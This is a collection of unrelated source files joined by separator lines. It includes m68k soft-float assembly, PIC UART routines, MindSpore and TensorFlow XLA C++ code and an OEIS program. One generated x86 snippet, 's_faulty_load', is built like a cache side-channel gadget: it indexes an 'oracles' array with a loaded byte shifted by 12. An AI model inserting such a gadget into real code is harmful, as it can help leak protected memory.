moveq IMM (DIVIDE),d5
| If we got here a is not zero. Check if a is NaN; in that case return NaN,
| else return +/-INFINITY. Remember that a is in d0 with the sign bit
| cleared already.
cmpl IMM (INFINITY),d0 | compare d0 with INFINITY
bhi Lf$inop | if larger it is NaN
bra Lf$div$0 | else signal DIVIDE_BY_ZERO
Ldivsf$inf:
moveq IMM (DIVIDE),d5
| If a is INFINITY we have to check b
cmpl IMM (INFINITY),d1 | compare b with INFINITY
bge Lf$inop | if b is NaN or INFINITY return NaN
bra Lf$overflow | else return overflow
| If a number is denormalized we put an exponent of 1 but do not put the
| bit back into the fraction.
Ldivsf$a$den:
movel IMM (1),d2
andl d5,d0
1: addl d0,d0 | shift a left until bit FLT_MANT_DIG-1 is set
#ifndef __mcoldfire__
subw IMM (1),d2 | and adjust exponent
#else
subl IMM (1),d2 | and adjust exponent
#endif
btst IMM (FLT_MANT_DIG-1),d0
bne Ldivsf$1
bra 1b
Ldivsf$b$den:
movel IMM (1),d3
andl d5,d1
1: addl d1,d1 | shift b left until bit FLT_MANT_DIG is set
#ifndef __mcoldfire__
subw IMM (1),d3 | and adjust exponent
#else
subl IMM (1),d3 | and adjust exponent
#endif
btst IMM (FLT_MANT_DIG-1),d1
bne Ldivsf$2
bra 1b
Lround$exit:
| This is a common exit point for __mulsf3 and __divsf3.
| First check for underlow in the exponent:
#ifndef __mcoldfire__
cmpw IMM (-FLT_MANT_DIG-1),d2
#else
cmpl IMM (-FLT_MANT_DIG-1),d2
#endif
blt Lf$underflow
| It could happen that the exponent is less than 1, in which case the
| number is denormalized. In this case we shift right and adjust the
| exponent until it becomes 1 or the fraction is zero (in the latter case
| we signal underflow and return zero).
movel IMM (0),d6 | d6 is used temporarily
#ifndef __mcoldfire__
cmpw IMM (1),d2 | if the exponent is less than 1 we
#else
cmpl IMM (1),d2 | if the exponent is less than 1 we
#endif
bge 2f | have to shift right (denormalize)
1:
#ifndef __mcoldfire__
addw IMM (1),d2 | adjust the exponent
lsrl IMM (1),d0 | shift right once
roxrl IMM (1),d1 |
roxrl IMM (1),d6 | d6 collect bits we would lose otherwise
cmpw IMM (1),d2 | is the exponent 1 already?
#else
addql IMM (1),d2 | adjust the exponent
lsrl IMM (1),d6
btst IMM (0),d1
beq 11f
bset IMM (31),d6
11: lsrl IMM (1),d1
btst IMM (0),d0
beq 10f
bset IMM (31),d1
10: lsrl IMM (1),d0
cmpl IMM (1),d2 | is the exponent 1 already?
#endif
beq 2f | if not loop back
bra 1b |
bra Lf$underflow | safety check, shouldn't execute '
2: orl d6,d1 | this is a trick so we don't lose '
| the extra bits which were flushed right
| Now call the rounding routine (which takes care of denormalized numbers):
lea pc@(Lround$0),a0 | to return from rounding routine
PICLEA SYM (_fpCCR),a1 | check the rounding mode
#ifdef __mcoldfire__
clrl d6
#endif
movew a1@(6),d6 | rounding mode in d6
beq Lround$to$nearest
#ifndef __mcoldfire__
cmpw IMM (ROUND_TO_PLUS),d6
#else
cmpl IMM (ROUND_TO_PLUS),d6
#endif
bhi Lround$to$minus
blt Lround$to$zero
bra Lround$to$plus
Lround$0:
| Here we have a correctly rounded result (either normalized or denormalized).
| Here we should have either a normalized number or a denormalized one, and
| the exponent is necessarily larger or equal to 1 (so we don't have to '
| check again for underflow!). We have to check for overflow or for a
| denormalized number (which also signals underflow).
| Check for overflow (i.e., exponent >= 255).
#ifndef __mcoldfire__
cmpw IMM (0x00ff),d2
#else
cmpl IMM (0x00ff),d2
#endif
bge Lf$overflow
| Now check for a denormalized number (exponent==0).
movew d2,d2
beq Lf$den
1:
| Put back the exponents and sign and return.
#ifndef __mcoldfire__
lslw IMM (7),d2 | exponent back to fourth byte
#else
lsll IMM (7),d2 | exponent back to fourth byte
#endif
bclr IMM (FLT_MANT_DIG-1),d0
swap d0 | and put back exponent
#ifndef __mcoldfire__
orw d2,d0 |
#else
orl d2,d0
#endif
swap d0 |
orl d7,d0 | and sign also
PICLEA SYM (_fpCCR),a0
movew IMM (0),a0@
#ifndef __mcoldfire__
moveml sp@+,d2-d7
#else
moveml sp@,d2-d7
| XXX if frame pointer is ever removed, stack pointer must
| be adjusted here.
#endif
unlk a6
rts
|=============================================================================
| __negsf2
|=============================================================================
| This is trivial and could be shorter if we didn't bother checking for NaN '
| and +/-INFINITY.
| float __negsf2(float);
FUNC(__negsf2)
SYM (__negsf2):
#ifndef __mcoldfire__
link a6,IMM (0)
moveml d2-d7,sp@-
#else
link a6,IMM (-24)
moveml d2-d7,sp@
#endif
moveq IMM (NEGATE),d5
movel a6@(8),d0 | get number to negate in d0
bchg IMM (31),d0 | negate
movel d0,d1 | make a positive copy
bclr IMM (31),d1 |
tstl d1 | check for zero
beq 2f | if zero (either sign) return +zero
cmpl IMM (INFINITY),d1 | compare to +INFINITY
blt 1f |
bhi Lf$inop | if larger (fraction not zero) is NaN
movel d0,d7 | else get sign and return INFINITY
andl IMM (0x80000000),d7
bra Lf$infty
1: PICLEA SYM (_fpCCR),a0
movew IMM (0),a0@
#ifndef __mcoldfire__
moveml sp@+,d2-d7
#else
moveml sp@,d2-d7
| XXX if frame pointer is ever removed, stack pointer must
| be adjusted here.
#endif
unlk a6
rts
2: bclr IMM (31),d0
bra 1b
|=============================================================================
| __cmpsf2
|=============================================================================
GREATER = 1
LESS = -1
EQUAL = 0
| int __cmpsf2_internal(float, float, int);
SYM (__cmpsf2_internal):
#ifndef __mcoldfire__
link a6,IMM (0)
moveml d2-d7,sp@- | save registers
#else
link a6,IMM (-24)
moveml d2-d7,sp@
#endif
moveq IMM (COMPARE),d5
movel a6@(8),d0 | get first operand
movel a6@(12),d1 | get second operand
| Check if either is NaN, and in that case return garbage and signal
| INVALID_OPERATION. Check also if either is zero, and clear the signs
| if necessary.
movel d0,d6
andl IMM (0x7fffffff),d0
beq Lcmpsf$a$0
cmpl IMM (0x7f800000),d0
bhi Lcmpf$inop
Lcmpsf$1:
movel d1,d7
andl IMM (0x7fffffff),d1
beq Lcmpsf$b$0
cmpl IMM (0x7f800000),d1
bhi Lcmpf$inop
Lcmpsf$2:
| Check the signs
eorl d6,d7
bpl 1f
| If the signs are not equal check if a >= 0
tstl d6
bpl Lcmpsf$a$gt$b | if (a >= 0 && b < 0) => a > b
bmi Lcmpsf$b$gt$a | if (a < 0 && b >= 0) => a < b
1:
| If the signs are equal check for < 0
tstl d6
bpl 1f
| If both are negative exchange them
#ifndef __mcoldfire__
exg d0,d1
#else
movel d0,d7
movel d1,d0
movel d7,d1
#endif
1:
| Now that they are positive we just compare them as longs (does this also
| work for denormalized numbers?).
cmpl d0,d1
bhi Lcmpsf$b$gt$a | |b| > |a|
bne Lcmpsf$a$gt$b | |b| < |a|
| If we got here a == b.
movel IMM (EQUAL),d0
#ifndef __mcoldfire__
moveml sp@+,d2-d7 | put back the registers
#else
moveml sp@,d2-d7
#endif
unlk a6
rts
Lcmpsf$a$gt$b:
movel IMM (GREATER),d0
#ifndef __mcoldfire__
moveml sp@+,d2-d7 | put back the registers
#else
moveml sp@,d2-d7
| XXX if frame pointer is ever removed, stack pointer must
| be adjusted here.
#endif
unlk a6
rts
Lcmpsf$b$gt$a:
movel IMM (LESS),d0
#ifndef __mcoldfire__
moveml sp@+,d2-d7 | put back the registers
#else
moveml sp@,d2-d7
| XXX if frame pointer is ever removed, stack pointer must
| be adjusted here.
#endif
unlk a6
rts
Lcmpsf$a$0:
bclr IMM (31),d6
bra Lcmpsf$1
Lcmpsf$b$0:
bclr IMM (31),d7
bra Lcmpsf$2
Lcmpf$inop:
movl a6@(16),d0
moveq IMM (INEXACT_RESULT+INVALID_OPERATION),d7
moveq IMM (SINGLE_FLOAT),d6
PICJUMP $_exception_handler
| int __cmpsf2(float, float);
FUNC(__cmpsf2)
SYM (__cmpsf2):
link a6,IMM (0)
pea 1
movl a6@(12),sp@-
movl a6@(8),sp@-
PICCALL SYM (__cmpsf2_internal)
unlk a6
rts
|=============================================================================
| rounding routines
|=============================================================================
| The rounding routines expect the number to be normalized in registers
| d0-d1, with the exponent in register d2. They assume that the
| exponent is larger or equal to 1. They return a properly normalized number
| if possible, and a denormalized number otherwise. The exponent is returned
| in d2.
Lround$to$nearest:
| We now normalize as suggested by D. Knuth ("Seminumerical Algorithms"):
| Here we assume that the exponent is not too small (this should be checked
| before entering the rounding routine), but the number could be denormalized.
| Check for denormalized numbers:
1: btst IMM (FLT_MANT_DIG),d0
bne 2f | if set the number is normalized
| Normalize shifting left until bit #FLT_MANT_DIG is set or the exponent
| is one (remember that a denormalized number corresponds to an
| exponent of -F_BIAS+1).
#ifndef __mcoldfire__
cmpw IMM (1),d2 | remember that the exponent is at least one
#else
cmpl IMM (1),d2 | remember that the exponent is at least one
#endif
beq 2f | an exponent of one means denormalized
addl d1,d1 | else shift and adjust the exponent
addxl d0,d0 |
#ifndef __mcoldfire__
dbra d2,1b |
#else
subql IMM (1),d2
bpl 1b
#endif
2:
| Now round: we do it as follows: after the shifting we can write the
| fraction part as f + delta, where 1 < f < 2^25, and 0 <= delta <= 2.
| If delta < 1, do nothing. If delta > 1, add 1 to f.
| If delta == 1, we make sure the rounded number will be even (odd?)
| (after shifting).
btst IMM (0),d0 | is delta < 1?
beq 2f | if so, do not do anything
tstl d1 | is delta == 1?
bne 1f | if so round to even
movel d0,d1 |
andl IMM (2),d1 | bit 1 is the last significant bit
addl d1,d0 |
bra 2f |
1: movel IMM (1),d1 | else add 1
addl d1,d0 |
| Shift right once (because we used bit #FLT_MANT_DIG!).
2: lsrl IMM (1),d0
| Now check again bit #FLT_MANT_DIG (rounding could have produced a
| 'fraction overflow' ...).
btst IMM (FLT_MANT_DIG),d0
beq 1f
lsrl IMM (1),d0
#ifndef __mcoldfire__
addw IMM (1),d2
#else
addql IMM (1),d2
#endif
1:
| If bit #FLT_MANT_DIG-1 is clear we have a denormalized number, so we
| have to put the exponent to zero and return a denormalized number.
btst IMM (FLT_MANT_DIG-1),d0
beq 1f
jmp a0@
1: movel IMM (0),d2
jmp a0@
Lround$to$zero:
Lround$to$plus:
Lround$to$minus:
jmp a0@
#endif /* L_float */
| gcc expects the routines __eqdf2, __nedf2, __gtdf2, __gedf2,
| __ledf2, __ltdf2 to all return the same value as a direct call to
| __cmpdf2 would. In this implementation, each of these routines
| simply calls __cmpdf2. It would be more efficient to give the
| __cmpdf2 routine several names, but separating them out will make it
| easier to write efficient versions of these routines someday.
| If the operands recompare unordered unordered __gtdf2 and __gedf2 return -1.
| The other routines return 1.
#ifdef L_eqdf2
.text
FUNC(__eqdf2)
.globl SYM (__eqdf2)
SYM (__eqdf2):
link a6,IMM (0)
pea 1
movl a6@(20),sp@-
movl a6@(16),sp@-
movl a6@(12),sp@-
movl a6@(8),sp@-
PICCALL SYM (__cmpdf2_internal)
unlk a6
rts
#endif /* L_eqdf2 */
#ifdef L_nedf2
.text
FUNC(__nedf2)
.globl SYM (__nedf2)
SYM (__nedf2):
link a6,IMM (0)
pea 1
movl a6@(20),sp@-
movl a6@(16),sp@-
movl a6@(12),sp@-
movl a6@(8),sp@-
PICCALL SYM (__cmpdf2_internal)
unlk a6
rts
#endif /* L_nedf2 */
#ifdef L_gtdf2
.text
FUNC(__gtdf2)
.globl SYM (__gtdf2)
SYM (__gtdf2):
link a6,IMM (0)
pea -1
movl a6@(20),sp@-
movl a6@(16),sp@-
movl a6@(12),sp@-
movl a6@(8),sp@-
PICCALL SYM (__cmpdf2_internal)
unlk a6
rts
#endif /* L_gtdf2 */
#ifdef L_gedf2
.text
FUNC(__gedf2)
.globl SYM (__gedf2)
SYM (__gedf2):
link a6,IMM (0)
pea -1
movl a6@(20),sp@-
movl a6@(16),sp@-
movl a6@(12),sp@-
movl a6@(8),sp@-
PICCALL SYM (__cmpdf2_internal)
unlk a6
rts
#endif /* L_gedf2 */
#ifdef L_ltdf2
.text
FUNC(__ltdf2)
.globl SYM (__ltdf2)
SYM (__ltdf2):
link a6,IMM (0)
pea 1
movl a6@(20),sp@-
movl a6@(16),sp@-
movl a6@(12),sp@-
movl a6@(8),sp@-
PICCALL SYM (__cmpdf2_internal)
unlk a6
rts
#endif /* L_ltdf2 */
#ifdef L_ledf2
.text
FUNC(__ledf2)
.globl SYM (__ledf2)
SYM (__ledf2):
link a6,IMM (0)
pea 1
movl a6@(20),sp@-
movl a6@(16),sp@-
movl a6@(12),sp@-
movl a6@(8),sp@-
PICCALL SYM (__cmpdf2_internal)
unlk a6
rts
#endif /* L_ledf2 */
| The comments above about __eqdf2, et. al., also apply to __eqsf2,
| et. al., except that the latter call __cmpsf2 rather than __cmpdf2.
#ifdef L_eqsf2
.text
FUNC(__eqsf2)
.globl SYM (__eqsf2)
SYM (__eqsf2):
link a6,IMM (0)
pea 1
movl a6@(12),sp@-
movl a6@(8),sp@-
PICCALL SYM (__cmpsf2_internal)
unlk a6
rts
#endif /* L_eqsf2 */
#ifdef L_nesf2
.text
FUNC(__nesf2)
.globl SYM (__nesf2)
SYM (__nesf2):
link a6,IMM (0)
pea 1
movl a6@(12),sp@-
movl a6@(8),sp@-
PICCALL SYM (__cmpsf2_internal)
unlk a6
rts
#endif /* L_nesf2 */
#ifdef L_gtsf2
.text
FUNC(__gtsf2)
.globl SYM (__gtsf2)
SYM (__gtsf2):
link a6,IMM (0)
pea -1
movl a6@(12),sp@-
movl a6@(8),sp@-
PICCALL SYM (__cmpsf2_internal)
unlk a6
rts
#endif /* L_gtsf2 */
#ifdef L_gesf2
.text
FUNC(__gesf2)
.globl SYM (__gesf2)
SYM (__gesf2):
link a6,IMM (0)
pea -1
movl a6@(12),sp@-
movl a6@(8),sp@-
PICCALL SYM (__cmpsf2_internal)
unlk a6
rts
#endif /* L_gesf2 */
#ifdef L_ltsf2
.text
FUNC(__ltsf2)
.globl SYM (__ltsf2)
SYM (__ltsf2):
link a6,IMM (0)
pea 1
movl a6@(12),sp@-
movl a6@(8),sp@-
PICCALL SYM (__cmpsf2_internal)
unlk a6
rts
#endif /* L_ltsf2 */
#ifdef L_lesf2
.text
FUNC(__lesf2)
.globl SYM (__lesf2)
SYM (__lesf2):
link a6,IMM (0)
pea 1
movl a6@(12),sp@-
movl a6@(8),sp@-
PICCALL SYM (__cmpsf2_internal)
unlk a6
rts
#endif /* L_lesf2 */
#if defined (__ELF__) && defined (__linux__)
/* Make stack non-executable for ELF linux targets. */
.section .note.GNU-stack,"",@progbits
#endif
|
/**
* Copyright 2019 Huawei Technologies Co., Ltd
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <list>
#include "common/common_test.h"
#include "parallel/device.h"
#include "parallel/device_manager.h"
#include "parallel/group_manager.h"
namespace mindspore {
namespace parallel {
class TestDevice : public UT::Common {
public:
TestDevice() {}
void SetUp();
void TearDown();
Device dev_1;
Device dev_2;
};
void TestDevice::SetUp() {
std::string name = "#1";
dev_1 = Device(name, std::int32_t(1));
dev_2 = Device(std::int32_t(2));
}
void TestDevice::TearDown() {
// destroy resources
}
TEST_F(TestDevice, test_device) {
std::string name = "#1";
int32_t dev1_rank = 1;
int32_t dev2_rank = 2;
ASSERT_STREQ(dev_1.name().data(), name.data());
ASSERT_EQ(dev_1.rank(), dev1_rank);
ASSERT_EQ(dev_2.rank(), dev2_rank);
}
// need to complete
class TestStage : public UT::Common {};
class TestDeviceManager : public UT::Common {
public:
TestDeviceManager() {}
void SetUp();
void TearDown();
DeviceManager dm_;
};
void TestDeviceManager::SetUp() { dm_ = DeviceManager::GetInstance(); }
void TestDeviceManager::TearDown() {
// destroy resources
}
TEST_F(TestDeviceManager, test_dm_init_AND_get_device_list) {
std::list<int32_t> dev_list;
std::list<int32_t> stage_map;
int32_t local_dev = 0;
dev_list.push_back(5);
dev_list.push_back(3);
dev_list.push_back(1);
dev_list.push_back(0);
stage_map.push_back(2);
stage_map.push_back(2);
ASSERT_EQ(dm_.Init(dev_list, local_dev, stage_map, "hccl"), Status::SUCCESS);
ASSERT_EQ(dm_.DeviceNum(), 4);
ASSERT_EQ(dm_.GetStageNum(), (int32_t)(2));
std::list<int32_t> dev_list_0 = dm_.GetDeviceListByStageId(0);
std::list<int32_t> dev_list_1 = dm_.GetDeviceListByStageId(1);
ASSERT_EQ(dev_list_0.size(), 2);
ASSERT_EQ(dev_list_1.size(), 2);
std::list<int32_t>::iterator it = dev_list_0.begin();
ASSERT_EQ((*it), int32_t(5));
it++;
ASSERT_EQ((*it), int32_t(3));
it = dev_list_1.begin();
ASSERT_EQ((*it), int32_t(1));
it++;
ASSERT_EQ((*it), int32_t(0));
std::shared_ptr<Stage> stage_0 = dm_.GetStageById(0);
ASSERT_EQ(stage_0->GetDevicesNum(), size_t(2));
std::shared_ptr<Stage> stage_1 = dm_.GetStageById(1);
ASSERT_EQ(stage_1->GetDevicesNum(), size_t(2));
}
TEST_F(TestDeviceManager, test_CreateNewDeviceByRank) {
Device one = dm_.CreateNewDeviceByRank(int32_t(3));
ASSERT_EQ(one.rank(), int32_t(3));
}
TEST_F(TestDeviceManager, test_CreateDeviceListByRankList) {
std::list<Device> dev_list;
std::list<int32_t> rlist;
rlist.push_back(int32_t(2));
rlist.push_back(int32_t(1));
dev_list = dm_.CreateDeviceListByRankList(rlist);
std::list<Device>::iterator it = dev_list.begin();
ASSERT_EQ(it->rank(), int32_t(2));
it++;
ASSERT_EQ(it->rank(), int32_t(1));
}
} // namespace parallel
} // namespace mindspore
|
#define UART_ASM
#include "uart.inc"
udata
hex_number res 1 ; uart_send_hex local
code
; Send W to UART
routine uart_send
select PIR1
btfss PIR1, TXIF ; UART buffer is full ?
repeat
select TXREG
movwf TXREG ; send
return
; Send W to UART as hex
; locals: hex_number
routine uart_send_hex
rselect hex_number
movwf hex_number
swapf hex_number, W ; swap high and low nibble
farcall number_to_hex ; W = number_to_hex (hex_number)
lclcall uart_send ; send high nibble to UART
rselect hex_number
movfw hex_number ; W = hex_number
farcall number_to_hex ; W = number_to_hex (hex_number)
lclcall uart_send ; send low nibble to UART
return
; Get byte from UART to W
routine uart_get
select RCSTA
btfss RCSTA, OERR ; overrun error ?
goto no_oerr
send 'o'
lclcall uart_clear_errors
no_oerr:
mybank RCSTA
btfss RCSTA, FERR ; framing error ?
goto no_ferr
send 'f'
lclcall uart_clear_errors
no_ferr:
select PIR1
btfss PIR1, RCIF ; UART buffer is empty ?
repeat ; not empty
select RCREG
movfw RCREG ; return data to caller
return
; Clear UART errors
routine uart_clear_errors
select RCSTA
btfss RCSTA, OERR ; overrun error ?
goto no_overrun
bcf RCSTA, CREN ; disable receiver
select RCREG
movfw RCREG ; flush FIFO
movfw RCREG
movfw RCREG
select RCSTA
bsf RCSTA, CREN ; enable receiver
no_overrun:
btfsc RCSTA, FERR ; no framing error ?
select RCREG
movfw RCREG ; clear framing error
return
end
|
/* Copyright 2020 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include "tensorflow/compiler/xla/service/gpu/nccl_utils.h"
#include <memory>
#include <string_view>
#include <utility>
#include "absl/strings/str_format.h"
#include "absl/time/time.h"
#include "tensorflow/compiler/xla/debug_options_flags.h"
#include "tensorflow/compiler/xla/service/global_device_id.h"
#include "tensorflow/compiler/xla/service/gpu/gpu_executable_run_options.h"
#include "tensorflow/compiler/xla/service/rendezvous.h"
#include "tensorflow/compiler/xla/status_macros.h"
#include "tensorflow/compiler/xla/statusor.h"
#include "tensorflow/core/platform/env.h"
namespace xla {
namespace gpu {
bool IsGlobalNcclConfig() {
static const bool global_nccl_config = std::getenv("NCCL_COMM_ID") != nullptr;
return global_nccl_config;
}
bool IsNcclLaunchModeParallel() {
static const bool is_launch_mode_parallel = []() {
const char* launch_mode = std::getenv("NCCL_LAUNCH_MODE");
return launch_mode && std::string_view(launch_mode) == "PARALLEL";
}();
return is_launch_mode_parallel;
}
Status ToStatus(ncclResult_t s, const char* file, int64_t line,
const char* expr) {
if (s == ncclSuccess) {
return OkStatus();
}
return tensorflow::errors::Internal(
absl::StrFormat("%s:%d: NCCL operation %s failed: %s", file, line, expr,
ncclGetErrorString(s)));
}
ncclRedOp_t ToNcclReduction(ReductionKind kind) {
switch (kind) {
case ReductionKind::SUM:
return ncclSum;
case ReductionKind::PRODUCT:
return ncclProd;
case ReductionKind::MIN:
return ncclMin;
case ReductionKind::MAX:
return ncclMax;
}
}
namespace {
StatusOr<ncclDataType_t> ToNcclDataType(PrimitiveType element_type) {
switch (element_type) {
case S8:
return ncclInt8;
case PRED:
case U8:
return ncclUint8;
case S32:
return ncclInt32;
case U32:
return ncclUint32;
case S64:
return ncclInt64;
case U64:
return ncclUint64;
case F16:
return ncclFloat16;
case F32:
case C64:
return ncclFloat32;
case F64:
case C128:
return ncclFloat64;
#if defined(__CUDA_BF16_TYPES_EXIST__)
case BF16:
return ncclBfloat16;
#endif
default:
return tensorflow::errors::InvalidArgument(absl::StrFormat(
"Unsupported data type: %s", PrimitiveType_Name(element_type)));
}
}
StatusOr<ncclUniqueId> ToNcclUniqueId(const std::string& id_str) {
static_assert(sizeof(ncclUniqueId) == NCCL_UNIQUE_ID_BYTES,
"NCCL_UNIQUE_ID_BYTES");
TF_RET_CHECK(id_str.size() == NCCL_UNIQUE_ID_BYTES);
ncclUniqueId id;
absl::c_copy(id_str, id.internal);
return id;
}
StatusOr<std::string> LocalNcclUniqueIdCallback(const NcclCliqueKey&) {
ncclUniqueId id;
XLA_CUDA_RETURN_IF_ERROR(ncclGetUniqueId(&id));
return std::string(id.internal, NCCL_UNIQUE_ID_BYTES);
}
struct NcclCliqueState {
ncclUniqueId unique_id;
int64_t run_id = -1;
};
using NcclClique = Lockable<NcclCliqueState>;
std::shared_ptr<StatusOr<NcclClique::Lock>> AcquireNcclClique(
RunId run_id, OpId op_id, NcclCliqueKey clique_key,
const NcclUniqueIdCallback& unique_id_callback,
size_t num_local_participants) {
static auto& cliques = *new ThreadSafeMap<NcclCliqueKey, NcclClique>;
auto rendezvous_key = std::make_tuple(run_id, op_id, std::move(clique_key));
int64_t terminate_timeout = xla::GetDebugOptionsFromFlags()
.xla_gpu_nccl_termination_timeout_seconds();
return RendezvousSingle<StatusOr<NcclClique::Lock>>(
rendezvous_key, num_local_participants,
[&]() -> StatusOr<NcclClique::Lock> {
const NcclCliqueKey& clique_key = std::get<2>(rendezvous_key);
NcclClique::Lock clique = cliques[clique_key].Acquire();
if (clique->run_id < 0) {
TF_ASSIGN_OR_RETURN(std::string id, unique_id_callback(clique_key));
TF_ASSIGN_OR_RETURN(clique->unique_id, ToNcclUniqueId(id));
}
// If multiple executable are running simultaneously while using
// multiple hosts, it is possible that different executables could
// acquire the same clique on different hosts. We protect against this
// by checking that the run ID increases monotonically.
bool is_local = clique_key.devices().size() == num_local_participants;
TF_RET_CHECK(is_local || (run_id.ToInt() >= clique->run_id));
clique->run_id = run_id.ToInt();
return clique;
},
/*warn_stuck_timeout=*/absl::Seconds(10),
(terminate_timeout >= 0) ? absl::Seconds(terminate_timeout)
: absl::InfiniteDuration());
}
void CheckNcclAsyncError(NcclComm& lockable_comm) {
ncclComm_t comm = *lockable_comm.Acquire();
if (comm == nullptr) return;
Status status = [comm] {
ncclResult_t async_err;
XLA_CUDA_RETURN_IF_ERROR(ncclCommGetAsyncError(comm, &async_err));
if (async_err != ncclSuccess) {
LOG(ERROR) << "Aborting communicator: " << comm
<< " due to async NCCL error: "
<< ncclGetErrorString(async_err);
XLA_CUDA_RETURN_IF_ERROR(ncclCommAbort(comm));
}
return XLA_CUDA_STATUS(async_err);
}();
if (!status.ok()) LOG(ERROR) << status.ToString();
}
} // namespace
StatusOr<std::pair<ncclDataType_t, int>> ToNcclDataTypeAndCountMultiplier(
PrimitiveType element_type) {
TF_ASSIGN_OR_RETURN(ncclDataType_t dtype, ToNcclDataType(element_type));
bool is_complex = primitive_util::IsComplexType(element_type);
return std::make_pair(dtype, is_complex ? 2 : 1);
}
size_t GetNumLocalParticipants(
const std::vector<GlobalDeviceId>& participants,
const std::vector<GlobalDeviceId>* local_devices) {
if (local_devices == nullptr) return participants.size();
return absl::c_count_if(participants, [&](const GlobalDeviceId& device_id) {
return absl::c_linear_search(*local_devices, device_id);
});
}
StatusOr<const NcclUniqueIdCallback*> GetNcclUniqueIdCallback(
const NcclUniqueIdCallback* unique_id_callback, bool is_local) {
if (unique_id_callback != nullptr) return unique_id_callback;
TF_RET_CHECK(is_local || IsGlobalNcclConfig())
<< "If non-local devices are taking part of a collective API on "
"GPU, the nccl_unique_id_callback must be provided by the client.";
static NcclUniqueIdCallback local_callback(LocalNcclUniqueIdCallback);
return &local_callback;
}
StatusOr<NcclComm::Lock> AcquireNcclComm(
RunId run_id, OpId op_id, std::vector<GlobalDeviceId> participants,
size_t num_local_participants,
const NcclUniqueIdCallback& unique_id_callback, int rank) {
// Ensure that this group of threads have exclusive access to the clique to
// prevent threads from different groups locking communicators in the clique.
NcclCliqueKey clique_key(std::move(participants));
std::shared_ptr<StatusOr<NcclClique::Lock>> clique = AcquireNcclClique(
run_id, op_id, clique_key, unique_id_callback, num_local_participants);
if (!clique->ok()) return clique->status();
auto comm_key = std::make_pair(std::move(clique_key), rank);
static auto& comms = *new ThreadSafeMap<decltype(comm_key), NcclComm>;
// Launch a thread that periodically checks all NCCL communicators for
// asynchronous errors. If an asynchronous error is observed, the communicator
// is aborted and an error message logged.
static auto check_async_error_thread =
tensorflow::Env::Default()->StartThread(
tensorflow::ThreadOptions(), "nccl_async_error_thread", [&] {
while (true) {
absl::SleepFor(absl::Seconds(30));
comms.ForEachValue(CheckNcclAsyncError);
}
});
(void)check_async_error_thread; // Silence unused variable warning.
NcclComm::Lock comm = comms[comm_key].Acquire();
if (*comm == nullptr) {
int nranks = comm_key.first.devices().size();
const ncclUniqueId& id = (**clique)->unique_id;
XLA_CUDA_RETURN_IF_ERROR(ncclCommInitRank(comm.get(), nranks, id, rank));
}
return comm;
}
} // namespace gpu
} // namespace xla
|
; A170378: Number of reduced words of length n in Coxeter group on 33 generators S_i with relations (S_i)^2 = (S_i S_j)^43 = I.
; 1,33,1056,33792,1081344,34603008,1107296256,35433480192,1133871366144,36283883716608,1161084278931456,37154696925806592,1188950301625810944,38046409652025950208,1217485108864830406656,38959523483674573012992
add $0,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
div $3,$2
mul $2,32
lpe
mov $0,$2
div $0,32
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0xcbde, %rsi
lea addresses_WC_ht+0x77ae, %rdi
clflush (%rsi)
nop
nop
cmp %r10, %r10
mov $76, %rcx
rep movsl
nop
nop
cmp %r9, %r9
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r8
push %r9
push %rbx
push %rcx
push %rdx
// Store
lea addresses_A+0x33ce, %r12
nop
nop
nop
nop
xor %r8, %r8
mov $0x5152535455565758, %r9
movq %r9, %xmm4
vmovups %ymm4, (%r12)
nop
nop
nop
xor $58206, %rbx
// Store
lea addresses_D+0x1829e, %rcx
and $51792, %rdx
mov $0x5152535455565758, %rbx
movq %rbx, %xmm7
vmovntdq %ymm7, (%rcx)
nop
nop
nop
nop
nop
cmp %r9, %r9
// Faulty Load
lea addresses_D+0x1422e, %r13
nop
nop
cmp $9931, %rcx
vmovups (%r13), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $1, %xmm4, %r9
lea oracles, %rbx
and $0xff, %r9
shlq $12, %r9
mov (%rbx,%r9,1), %r9
pop %rdx
pop %rcx
pop %rbx
pop %r9
pop %r8
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_D'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 4, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_D'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'36': 87}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
// Copyright (c) Facebook, Inc. and its affiliates. (http://www.facebook.com)
#include <gtest/gtest.h>
#include "Jit/hir/ssa.h"
#include "Jit/hir/type.h"
#include "Jit/ref.h"
#include "RuntimeTests/fixtures.h"
using namespace jit::hir;
